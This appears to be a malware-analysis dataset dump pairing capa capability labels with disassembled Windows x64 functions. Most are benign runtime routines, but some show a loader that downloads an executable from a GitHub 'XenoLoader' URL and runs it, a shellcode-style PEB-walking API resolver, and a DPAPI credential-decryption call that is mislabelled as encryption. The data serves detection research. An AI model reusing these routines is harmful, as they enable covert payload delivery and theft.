joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001123f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400139e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112c1
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x140012380
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rcx, [0x1400240f3]
call fcn.1400113f2
lea rax, str.https:__github.com_MomoKillerz_XenoLoader_raw_main_XenTestLoader.exe
mov qword [rbp + 8], rax
lea rax, str.C:Program_FilesXenTestLoader.exe
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.1400113ac
test eax, eax
jne 0x140012423
lea rdx, str.Saved.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011212
lea rdx, [0x1400111f9]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesXenTestLoader.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
jmp 0x14001244b
lea rdx, str.Failed.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011212
lea rdx, [0x1400111f9]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 0xffffffff
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400112cb
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014d30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014d50
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014d63
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014d8d
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014da1
xor al, al
jmp 0x140014dd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014db3
xor al, al
jmp 0x140014dd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014dcf
xor al, al
jmp 0x140014dd1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400019f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a42
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a44
xor al, al
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rsi
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
push rax
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x40d246
Capabilities:
Encrypt data using dpapi

Disassembly:
push rsi
sub rsp, 0x60
mov rsi, rcx
lea rcx, [rsp + 0x50]
mov dword [rcx], r8d
lea rax, [rsp + 0x40]
and dword [rax], 0
mov qword [rcx + 8], rdx
and qword [rax + 8], 0
and dword [rsp + 0x28], 0
mov qword [rsp + 0x30], rax
and qword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.crypt32.dll_CryptUnprotectData
test eax, eax
je 0x40d2a1
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rax
mov al, 0x1a
jmp 0x40d2ab
call sub.kernel32.dll_GetLastError
mov dword [rsi + 4], eax
mov al, 0x14
mov byte [rsi], al
add rsp, 0x60
pop rsi
ret
Function at 0x414131
Capabilities:
Get token membership

Disassembly:
push rsi
sub rsp, 0x70
lea rcx, [rsp + 0x68]
mov word [rcx + 4], 0x500
and dword [rcx], 0
and dword [rsp + 0x48], 0
and dword [rsp + 0x40], 0
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x60]
and dword [rsp + 0x28], 0
mov qword [rsp + 0x50], rax
and dword [rsp + 0x20], 0
mov dl, 2
mov r8d, 0x20
mov r9d, 0x220
call sub.advapi32.dll_AllocateAndInitializeSid
mov dword [rsp + 0x5c], eax
test eax, eax
je 0x4141b6
mov rsi, qword [rsp + 0x60]
lea r8, [rsp + 0x5c]
xor ecx, ecx
mov rdx, rsi
call sub.advapi32.dll_CheckTokenMembership
test eax, eax
jne 0x4141a4
and dword [rsp + 0x5c], 0
mov rcx, rsi
call sub.advapi32.dll_FreeSid
cmp dword [rsp + 0x5c], 0
setne al
jmp 0x4141b8
xor eax, eax
add rsp, 0x70
pop rsi
ret
Function at 0x44eb10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x40
cmp qword [rdx], 0
je 0x44eb53
lea rax, [rdx + 8]
cmp qword [rdx + 0x38], 0xffffffffffffffff
mov r8, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
mov r10, qword [rdx + 0x58]
mov rdx, qword [rdx + 0x60]
je 0x44ec42
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r10
mov byte [rsp + 0x30], 0
jmp 0x44ec51
mov r10b, byte [rdx + 0x1a]
mov r9, qword [rdx + 8]
mov r11, qword [rdx + 0x48]
mov rax, qword [rdx + 0x50]
mov bl, byte [rdx + 0x18]
xor r8d, r8d
test r10b, r10b
jne 0x44ec79
mov esi, ebx
xor sil, 1
mov byte [rdx + 0x18], sil
test r9, r9
je 0x44eb98
cmp r9, rax
jae 0x44eb92
cmp byte [r11 + r9], 0xbf
jg 0x44eb98
jmp 0x44ec87
jne 0x44ec87
cmp r9, rax
je 0x44ec5b
movzx esi, byte [r11 + r9]
test sil, sil
jns 0x44ebff
mov edi, esi
and edi, 0x1f
movzx r14d, byte [r11 + r9 + 1]
and r14d, 0x3f
cmp sil, 0xdf
jbe 0x44ebee
movzx ebp, byte [r11 + r9 + 2]
shl r14d, 6
and ebp, 0x3f
or ebp, r14d
cmp sil, 0xf0
jb 0x44ebf8
movzx esi, byte [r11 + r9 + 3]
and edi, 7
shl edi, 0x12
shl ebp, 6
and esi, 0x3f
or esi, ebp
or esi, edi
jmp 0x44ebff
shl edi, 6
or edi, r14d
mov esi, edi
jmp 0x44ebff
shl edi, 0xc
or ebp, edi
mov esi, ebp
test bl, bl
jne 0x44ec68
cmp esi, 0x110000
je 0x44ec5f
mov edi, 1
cmp esi, 0x80
jb 0x44ec34
mov edi, 2
cmp esi, 0x800
jb 0x44ec34
cmp esi, 0x10000
mov edi, 4
sbb rdi, 0
add r9, rdi
mov qword [rdx + 8], r9
mov bl, 1
jmp 0x44eb69
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r10
mov byte [rsp + 0x30], 1
mov rdx, rax
call fcn.0055eba6
jmp 0x44ec7c
test bl, bl
jne 0x44ec6b
mov byte [rdx + 0x1a], 1
xor r8d, r8d
jmp 0x44ec79
mov rax, r9
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
mov r8d, 1
mov qword [rcx], r8
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
ud2

Function at 0x4528d4
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret
Function at 0x47b30a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
mov r10, qword [rsp + 0x68]
mov r11, qword [rsp + 0x60]
mov rax, qword [rsp + 0x58]
mov esi, ecx
shr esi, 8
lea r8, [rdx + r8*2]
xor edi, edi
cmp rdx, r8
je 0x47b386
lea rbx, [rdx + 2]
movzx r15d, byte [rdx + 1]
lea r14, [rdi + r15]
cmp byte [rdx], sil
jne 0x47b366
cmp rdi, r14
ja 0x47b3c3
cmp r14, rax
ja 0x47b3c3
add rdi, r9
xor edx, edx
cmp r15, rdx
je 0x47b370
lea r12, [rdx + 1]
cmp byte [rdi + rdx], cl
mov rdx, r12
jne 0x47b353
jmp 0x47b378
mov rdx, rbx
mov rdi, r14
jbe 0x47b32d
jmp 0x47b386
mov rdx, rbx
mov rdi, r14
jmp 0x47b32d
xor eax, eax
and al, 1
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
movzx ecx, cx
add r10, r11
mov al, 1
cmp r11, r10
je 0x47b37a
lea r8, [r11 + 1]
movzx edx, byte [r11]
test dl, dl
js 0x47b3a4
mov r11, r8
jmp 0x47b3bb
cmp r8, r10
je 0x47b3c3
movzx r8d, byte [r11 + 1]
add r11, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x47b37a
xor al, 1
jmp 0x47b38e
ud2

Function at 0x47c06e
Capabilities:
Hash data with crc32

Disassembly:
push rsi
push rdi
push rbx
not ecx
lea rax, [0x006c9a70]
mov r9d, 0xff
cmp r8, 0x40
jb 0x47c1a9
mov r11, r8
shr r11, 4
xor r10d, r10d
cmp r10, 0x40
je 0x47c19e
sub r11, 1
jb 0x47c1d0
movzx edi, byte [rdx + r10 + 0xf]
movzx esi, byte [rdx + r10 + 0xe]
mov esi, dword [rax + rsi*4 + 0x400]
xor esi, dword [rax + rdi*4]
movzx edi, byte [rdx + r10 + 0xd]
xor esi, dword [rax + rdi*4 + 0x800]
movzx edi, byte [rdx + r10 + 0xc]
xor esi, dword [rax + rdi*4 + 0xc00]
movzx edi, byte [rdx + r10 + 0xb]
xor esi, dword [rax + rdi*4 + 0x1000]
movzx edi, byte [rdx + r10 + 0xa]
xor esi, dword [rax + rdi*4 + 0x1400]
movzx edi, byte [rdx + r10 + 9]
xor esi, dword [rax + rdi*4 + 0x1800]
movzx edi, byte [rdx + r10 + 8]
xor esi, dword [rax + rdi*4 + 0x1c00]
movzx edi, byte [rdx + r10 + 7]
xor esi, dword [rax + rdi*4 + 0x2000]
movzx edi, byte [rdx + r10 + 6]
xor esi, dword [rax + rdi*4 + 0x2400]
movzx edi, byte [rdx + r10 + 5]
xor esi, dword [rax + rdi*4 + 0x2800]
movzx edi, byte [rdx + r10 + 4]
xor esi, dword [rax + rdi*4 + 0x2c00]
mov edi, ecx
shr edi, 0x18
movzx ebx, byte [rdx + r10 + 3]
xor ebx, edi
xor esi, dword [rax + rbx*4 + 0x3000]
mov edi, ecx
shr edi, 0x10
and edi, r9d
movzx ebx, byte [rdx + r10 + 2]
xor ebx, edi
xor esi, dword [rax + rbx*4 + 0x3400]
mov edi, ecx
shr edi, 8
and edi, r9d
movzx ebx, byte [rdx + r10 + 1]
xor ebx, edi
xor esi, dword [rax + rbx*4 + 0x3800]
and ecx, r9d
movzx edi, byte [rdx + r10]
xor edi, ecx
xor esi, dword [rax + rdi*4 + 0x3c00]
add r10, 0x10
mov ecx, esi
jmp 0x47c094
sub r8, r10
add rdx, r10
jmp 0x47c080
xor r9d, r9d
cmp r8, r9
je 0x47c1c8
mov r10b, byte [rdx + r9]
xor r10b, cl
movzx r10d, r10b
shr ecx, 8
xor ecx, dword [rax + r10*4]
inc r9
jmp 0x47c1ac
not ecx
mov eax, ecx
pop rbx
pop rdi
pop rsi
ret
ud2
Function at 0x48afa0
Capabilities:
Hash data using fnv

Disassembly:
mov rax, qword [rcx]
xor r9d, r9d
movabs r10, 0x100000001b3
cmp r8, r9
je 0x48afc6
movzx r11d, byte [rdx + r9]
xor rax, r11
imul rax, r10
inc r9
jmp 0x48afb0
mov qword [rcx], rax
ret
Function at 0x49cf3b
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0xf8
mov r14, rdx
mov rsi, rcx
mov ecx, 0x18
mov edx, 8
call fcn.0049d306
mov rdi, rax
mov eax, 1
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov byte [rdi + 0x10], 0
cmp r14, 0xffffffffffffffff
je 0x49d115
xorps xmm0, xmm0
lea rdx, [rsp + 0x70]
movaps xmmword [rdx + 0x70], xmm0
movaps xmmword [rdx + 0x60], xmm0
movaps xmmword [rdx + 0x50], xmm0
movaps xmmword [rdx + 0x40], xmm0
movaps xmmword [rdx + 0x30], xmm0
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea r8, [rsp + 0x2c]
mov dword [r8], pe_nt_image_headers64
mov rcx, r14
call sub.ws2_32.dll_getpeername
cmp eax, 0xffffffff
je 0x49cfcf
movsxd r8, dword [rsp + 0x2c]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x70]
call case.0x57635f.89
jmp 0x49cfe0
call fcn.0056c6ea
mov qword [rsp + 0x38], rax
mov word [rsp + 0x30], 2
lea rbx, [rsp + 0x50]
xorps xmm0, xmm0
lea rdx, [rsp + 0x70]
movaps xmmword [rdx + 0x70], xmm0
movaps xmmword [rdx + 0x60], xmm0
movaps xmmword [rdx + 0x50], xmm0
movaps xmmword [rdx + 0x40], xmm0
movaps xmmword [rdx + 0x30], xmm0
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea r8, [rsp + 0x2c]
mov dword [r8], pe_nt_image_headers64
mov rcx, r14
call sub.ws2_32.dll_getsockname
cmp eax, 0xffffffff
je 0x49d0d6
movsxd r8, dword [rsp + 0x2c]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call case.0x57635f.89
cmp word [rsp + 0x30], 2
je 0x49d0e7
cmp word [rsp + 0x50], 2
je 0x49d0e7
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0xa0], xmm1
mov ecx, 0x40
mov edx, 4
call fcn.0049d306
mov r14, rax
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmm3, xmmword [rsp + 0xa0]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x30], xmm3
xor ecx, ecx
call fcn.0049d99f
mov qword [rsi], r14
lea rax, [0x00702b90]
mov qword [rsi + 8], rax
jmp 0x49d0eb
call fcn.0056c6ea
mov qword [rsp + 0x58], rax
mov word [rsp + 0x50], 2
and qword [rsi], 0
mov qword [rsi + 0x10], rdi
mov word [rsi + 0x18], 1
lea rcx, [rsp + 0x30]
call fcn.0049d119
mov rcx, rbx
call fcn.0049d119
nop
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
ud2

Function at 0x4bb3bf
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.004bb3d3
mov ecx, eax
add rsp, 0x28
jmp fcn.0059cc48

Function at 0x4bb3d3
Capabilities:
Allocate thread local storage

Disassembly:
mov eax, dword [0x006b1068]
test eax, eax
je 0x4bb3e0
dec eax
ret
lea rcx, [0x006b1050]
jmp fcn.005751d1
Function at 0x4bbe93
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov rsi, rdx
mov rdi, rcx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
call fcn.004bde57
test rax, rax
je 0x4bbecb
mov edx, 4
mov rcx, rax
call fcn.00414d20
jmp 0x4bbf04
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
lea rdx, [rsp + 0x40]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rbx, [rsp + 0x70]
mov rcx, rbx
call fcn.004bb435
movaps xmm0, xmmword [rbx]
movaps xmm1, xmmword [rbx + 0x10]
movaps xmm2, xmmword [rbx + 0x20]
movaps xmmword [rdi + 0x20], xmm2
movaps xmmword [rdi + 0x10], xmm1
movaps xmmword [rdi], xmm0
and qword [rdi + 0x40], 0
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov rdx, rsi
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
jmp fcn.004bb477
Function at 0x4bbf43
Capabilities:
Set thread local storage value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xd0
mov rdi, rcx
call fcn.004bb3bf
cmp rax, 2
jb 0x4bbf73
mov rsi, rax
add rsi, 8
mov rax, qword [rax + 8]
test rax, rax
cmove rsi, rax
jne 0x4bc11c
call fcn.004bb3bf
cmp rax, 1
je 0x4bc11a
mov rsi, rax
test rax, rax
jne 0x4bbfc9
mov al, byte [0x007e01e8]
mov ecx, 0x10
mov edx, 8
call fcn.00414c90
test rax, rax
je 0x4bc12a
mov rsi, rax
lea rax, [0x006b1050]
mov qword [rsi], rax
and qword [rsi + 8], 0
call fcn.004bb3d3
mov ecx, eax
mov rdx, rsi
call fcn.0059cc50
test rdi, rdi
je 0x4bbfe5
mov rbx, qword [rdi]
and qword [rdi], 0
test rbx, rbx
jne 0x4bc109
xor ecx, ecx
call fcn.004bb42b
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
call fcn.004bde57
test rax, rax
jne 0x4bc12a
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
lea rdi, [rsp + 0x50]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
lea rbx, [rsp + 0xa0]
mov rcx, rbx
mov rdx, rdi
call fcn.004bb435
movaps xmm0, xmmword [rbx]
movaps xmm1, xmmword [rbx + 0x10]
movaps xmm2, xmmword [rbx + 0x20]
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
movups xmmword [rbx - 8], xmm0
movups xmmword [rbx + 8], xmm1
movups xmmword [rbx + 0x18], xmm2
movups xmm0, xmmword [rbx - 0x10]
movaps xmmword [rdi], xmm0
movups xmm0, xmmword [rbx]
movaps xmmword [rdi + 0x10], xmm0
movups xmm0, xmmword [rbx + 0x10]
movaps xmmword [rdi + 0x20], xmm0
mov rax, qword [rbx + 0x20]
mov qword [rdi + 0x30], rax
mov al, byte [0x007e01e8]
mov ecx, 0x170
mov edx, 0x10
call fcn.00414c90
test rax, rax
je 0x4bc12a
mov rbx, rax
mov eax, 1
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov rcx, rbx
add rcx, 0x10
mov r8d, 0x100
xor edx, edx
call sub.ntdll.dll_memset
mov qword [rbx + 0x110], 0x40
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movups xmmword [rbx + 0x118], xmm0
movups xmmword [rbx + 0x128], xmm1
movups xmmword [rbx + 0x138], xmm2
mov rax, qword [rsp + 0x80]
mov qword [rbx + 0x148], rax
mov eax, 0x10000
mov qword [rbx + 0x150], rax
mov qword [rbx + 0x158], rax
and qword [rbx + 0x160], 0
add rsi, 8
mov rcx, qword [rsi]
mov qword [rsi], rbx
call fcn.004bb42b
jmp 0x4bc11c
xor esi, esi
mov rax, rsi
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
ret
ud2
Function at 0x4bde57
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rcx
mov r12d, 0x20
xor esi, esi
mov r13d, 0xffffffff
test r12, r12
je 0x4bdee8
mov r14, rdi
cmp r12, r13
mov r15d, 0xffffffff
cmovb r15, r12
add rdi, r15
sub r12, r15
xor ecx, ecx
mov rdx, r14
mov r8d, r15d
mov r9d, 2
call sub.bcrypt.dll_BCryptGenRandom
cmp eax, 0xc0000000
jb 0x4bde77
mov ebx, eax
mov rcx, r14
mov edx, r15d
call sub.advapi32.dll_SystemFunction036
test al, al
jne 0x4bde77
xor ebx, 0x80000000
je 0x4bdee6
mov al, byte [0x007e01e8]
mov ecx, 4
mov edx, 4
call fcn.00414c90
test rax, rax
je 0x4bdefb
mov rsi, rax
mov dword [rax], ebx
jmp 0x4bdee8
xor esi, esi
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
Function at 0x4ddd24
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
lea rcx, [0x006b1078]
call fcn.0057c20c
mov ecx, eax
add rsp, 0x28
jmp fcn.0059cc48

Function at 0x4e2165
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov r14, r9
mov rsi, r8
mov r11, rdx
movabs rdi, 0x100000001b3
mov r15, qword [r9]
mov r8, qword [r9 + 0x10]
lea rdx, [r8*8]
movabs rax, 0xcbf29ce484222325
mov r9, r15
test rdx, rdx
je 0x4e21d8
movzx r10d, byte [r9 + 4]
xor rax, r10
imul rax, rdi
movzx r10d, byte [r9 + 5]
xor r10, rax
mov eax, dword [r9]
add r9, 8
imul r10, rdi
xor rax, r10
imul rax, rdi
add rdx, 0xfffffffffffffff8
jmp 0x4e21a7
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x4e2329
xor edx, edx
div r9
mov rdi, rdx
mov rax, qword [rsi]
mov r12, rdx
shl r12, 5
movzx edx, word [rax + r12 + 0x1c]
cmp dx, word [rsi + 0x20]
jne 0x4e2245
cmp qword [rax + r12 + 0x10], r8
jne 0x4e2245
lea rdx, [rax + r12]
mov rbx, qword [rdx]
xor edx, edx
cmp r8, rdx
je 0x4e2319
mov r9b, byte [rbx + rdx*8 + 4]
cmp r9b, byte [r15 + rdx*8 + 4]
jne 0x4e2245
mov r9b, byte [rbx + rdx*8 + 5]
cmp r9b, byte [r15 + rdx*8 + 5]
jne 0x4e2245
mov r9d, dword [rbx + rdx*8]
lea r10, [rdx + 1]
cmp r9d, dword [r15 + rdx*8]
mov rdx, r10
je 0x4e2213
mov qword [rsp + 0x28], r14
mov rbx, rcx
lea r13, [rsp + 0x30]
mov rcx, r13
mov rdx, r15
mov r14, r11
call fcn.004d96c6
lea rbp, [rsp + 0x48]
mov rcx, rbp
mov rdx, r14
mov r8, r13
call fcn.004dad86
mov eax, dword [rbp]
cmp eax, 0x2a
jne 0x4e22dc
cmp qword [rsi + 0x10], rdi
jbe 0x4e2329
mov edi, dword [rsp + 0x4c]
movzx ebp, word [rsi + 0x20]
mov rsi, qword [rsi]
mov rcx, qword [rsi + r12]
mov rdx, qword [rsi + r12 + 8]
call fcn.004e1dbd
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx + 0x10]
mov qword [rsi + r12 + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [rsi + r12], xmm0
mov dword [rsi + r12 + 0x18], edi
mov word [rsi + r12 + 0x1c], bp
mov dword [rbx + 4], edi
mov dword [rbx], 0x2a
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rsi, [rsp + 0x50]
mov edx, dword [rsi - 4]
lea rdi, [rbx + 8]
mov ecx, 0xf
rep movsq qword [rdi], qword [rsi]
mov dword [rbx], eax
mov dword [rbx + 4], edx
mov r14, qword [rsp + 0x28]
mov rdx, qword [r14 + 8]
mov rcx, r15
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.004e1dbd
mov eax, dword [rax + r12 + 0x18]
mov dword [rcx + 4], eax
mov dword [rcx], 0x2a
jmp 0x4e22fa
ud2
Function at 0x5408ed
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
call fcn.00540901
mov ecx, eax
add rsp, 0x28
jmp fcn.0059cc48

Function at 0x540901
Capabilities:
Allocate thread local storage

Disassembly:
mov eax, dword [0x006b10e0]
test eax, eax
je 0x54090e
dec eax
ret
lea rcx, [0x006b10c8]
jmp fcn.005751d1
Function at 0x54ffbb
Capabilities:
Set socket configuration

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x358
mov rbx, rdx
mov qword [rsp + 0x50], rcx
movzx eax, byte [rdx + 0x378]
test eax, eax
mov qword [rsp + 0x58], r8
je 0x550010
cmp eax, 3
jne case.0x5504d2.1
mov r15, r8
lea r12, [rbx + 0x1f0]
movzx eax, byte [rbx + 0x280]
lea rcx, [0x006baac8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rcx
and qword [rbx + 0x20], 0
mov qword [rbx + 0x40], rax
Function at 0x551162
Capabilities:
Receive data
Receive data on socket

Disassembly:
cmp dword [rcx], 2
jne 0x551174
add rcx, 8
jmp fcn.0057f590
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rdi, r8
mov rsi, rcx
mov qword [rcx + 0x38], rdx
mov rcx, r8
call fcn.0055129c
mov rbx, rax
mov r15, rdx
lea r14, [rsp + 0x28]
mov rcx, rsi
call fcn.00554eb4
test rdx, rdx
jne 0x55120b
mov rcx, r14
mov rdx, rsi
call fcn.00554eca
mov eax, dword [rsp + 0x28]
cmp eax, 2
je 0x551256
test eax, eax
je 0x55120b
cmp qword [rsi + 0xf8], 0
je 0x5511f2
mov rcx, r14
mov rdx, rsi
call fcn.005559dc
cmp qword [rsp + 0x28], 0
jne 0x551256
cmp qword [rsp + 0x30], 0
je 0x55120b
and qword [rsi + 0xf8], 0
mov rcx, r14
mov rdx, rsi
call fcn.00555b1d
cmp byte [rsp + 0x28], 0
jne 0x551256
cmp byte [rsp + 0x29], 0
je 0x55119c
mov rcx, rsi
call fcn.00554eb4
mov r14, rdx
